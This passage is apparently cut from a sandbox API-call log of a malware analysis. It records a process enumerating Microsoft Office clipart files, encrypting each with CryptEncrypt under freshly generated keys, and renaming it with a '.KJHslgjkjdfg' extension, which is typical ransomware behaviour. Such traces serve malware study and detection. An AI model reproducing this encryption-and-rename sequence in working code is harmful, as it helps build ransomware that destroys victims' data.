Office\\CLIPART\\PUB60COR\\NA00452_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf.kjhslgjkjdfg")) returned 1 [0204.641] CloseHandle (hObject=0x130) returned 1 [0204.641] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cceba00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1cceba00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x1580, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00454_.WMF", cAlternateFileName="")) returned 1 [0204.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.642] GetProcessHeap () returned 0x990000 [0204.642] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.642] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.643] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.643] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.643] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.643] GetProcessHeap () returned 0x990000 [0204.643] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.643] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.643] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.643] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.645] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.645] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.645] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.645] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.645] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.645] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.645] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.645] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.645] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1580, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1580, lpOverlapped=0x0) returned 1 [0204.646] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1580, dwBufLen=0x1580 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1580) returned 1 [0204.646] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.646] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1580, lpOverlapped=0x0) returned 1 [0204.646] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.646] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.646] SetEndOfFile (hFile=0x130) returned 1 [0204.648] GetProcessHeap () returned 0x990000 [0204.648] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.648] GetProcessHeap () returned 0x990000 [0204.648] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.648] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf.kjhslgjkjdfg")) returned 1 [0204.650] CloseHandle (hObject=0x130) returned 1 [0204.650] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf78d7c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf78d7c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x27a4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00458_.WMF", cAlternateFileName="")) returned 1 [0204.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.651] GetProcessHeap () returned 0x990000 [0204.651] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.651] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.651] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.651] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0204.657] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.657] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.657] GetProcessHeap () returned 0x990000 [0204.657] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.657] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.657] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.657] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.658] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.658] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.658] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.658] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.658] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.658] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.658] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.658] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.658] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x27a4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x27a4, lpOverlapped=0x0) returned 1 [0204.660] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x27b0, dwBufLen=0x27b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x27b0) returned 1 [0204.660] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.660] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x27b0, lpOverlapped=0x0) returned 1 [0204.660] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.660] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2884, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.660] SetEndOfFile (hFile=0x130) returned 1 [0204.663] GetProcessHeap () returned 0x990000 [0204.663] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.663] GetProcessHeap () returned 0x990000 [0204.663] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.663] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf.kjhslgjkjdfg")) returned 1 [0204.664] CloseHandle (hObject=0x130) returned 1 [0204.665] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe80e3300, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe80e3300, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x4f6c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00462_.WMF", cAlternateFileName="")) returned 1 [0204.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.666] GetProcessHeap () returned 0x990000 [0204.666] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.666] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.666] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.666] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.670] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.670] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.670] GetProcessHeap () returned 0x990000 [0204.670] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.671] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.671] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.671] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.671] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.671] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.671] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.671] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.671] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.671] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.671] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.671] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.672] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4f6c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4f6c, lpOverlapped=0x0) returned 1 [0204.673] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4f70, dwBufLen=0x4f70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4f70) returned 1 [0204.673] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.673] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4f70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4f70, lpOverlapped=0x0) returned 1 [0204.673] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.673] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.673] SetEndOfFile (hFile=0x130) returned 1 [0204.676] GetProcessHeap () returned 0x990000 [0204.676] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.676] GetProcessHeap () returned 0x990000 [0204.676] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.676] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf.kjhslgjkjdfg")) returned 1 [0204.678] CloseHandle (hObject=0x130) returned 1 [0204.678] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x735300, ftCreationTime.dwHighDateTime=0x1bd4b1b, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x735300, ftLastWriteTime.dwHighDateTime=0x1bd4b1b, nFileSizeHigh=0x0, nFileSizeLow=0xc10, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00487_.WMF", cAlternateFileName="")) returned 1 [0204.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.680] GetProcessHeap () returned 0x990000 [0204.680] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.680] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.681] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.681] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.681] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.681] GetProcessHeap () returned 0x990000 [0204.682] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.682] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.682] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.683] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.685] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.685] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.685] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.685] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.685] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.686] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.686] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.686] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.686] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xc10, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xc10, lpOverlapped=0x0) returned 1 [0204.686] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc10, dwBufLen=0xc10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc10) returned 1 [0204.686] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.686] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xc10, lpOverlapped=0x0) returned 1 [0204.686] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.686] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.686] SetEndOfFile (hFile=0x130) returned 1 [0204.689] GetProcessHeap () returned 0x990000 [0204.689] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.689] GetProcessHeap () returned 0x990000 [0204.689] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.689] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf.kjhslgjkjdfg")) returned 1 [0204.691] CloseHandle (hObject=0x130) returned 1 [0204.691] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x955a5a00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x955a5a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x938, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00494_.WMF", cAlternateFileName="")) returned 1 [0204.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.692] GetProcessHeap () returned 0x990000 [0204.692] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.692] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.692] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.693] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.696] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.696] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 